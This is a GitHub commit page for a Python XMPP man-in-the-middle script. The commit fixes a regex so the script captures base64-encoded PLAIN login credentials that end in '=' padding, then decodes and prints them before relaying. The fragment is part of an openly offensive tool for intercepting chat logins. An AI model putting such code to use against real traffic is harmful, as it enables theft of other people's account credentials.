Permalink
Browse files

small fix

apparently my testing of traffic wasn't enough, forgot about = sign in
base64-encoded creds.
  • Loading branch information...
1 parent ebbe1d4 commit dcfc835f16ea2d292c16e18d4d967e1ef63b7c98 @iamultra committed Oct 15, 2012
Showing with 3 additions and 3 deletions.
  1. +3 −3 xmppmitm.py
View
@@ -139,12 +139,12 @@ def child(sock,target,certfile='',keyfile=''):
# Receive XML Header
pkt = sock.recv(BUFSIZE)
if pkt == '':
- raise Exception("Didn't receive XML Header")
+ raise Exception("Didn't receive XML Header")
# Receive Server Name
pkt = sock.recv(BUFSIZE)
if pkt == '':
- raise Exception("Didn't receive server name")
+ raise Exception("Didn't receive server name")
m = re.search("to='([\w\.]+)'",pkt)
name = m.group(1)
print 'hostname:', name
@@ -159,7 +159,7 @@ def child(sock,target,certfile='',keyfile=''):
# Receive PLAIN auth
authblock = sock.recv(BUFSIZE)
if authblock != '':
- credblob = re.search('>(\w+)</auth>',authblock).group(1)
+ credblob = re.search('>([\w=]+)</auth>',authblock).group(1)
creds = base64.b64decode(credblob).split('\x00')
print "credentials:",creds
dotarget(sock,target,name,credblob)

0 comments on commit dcfc835

Please sign in to comment.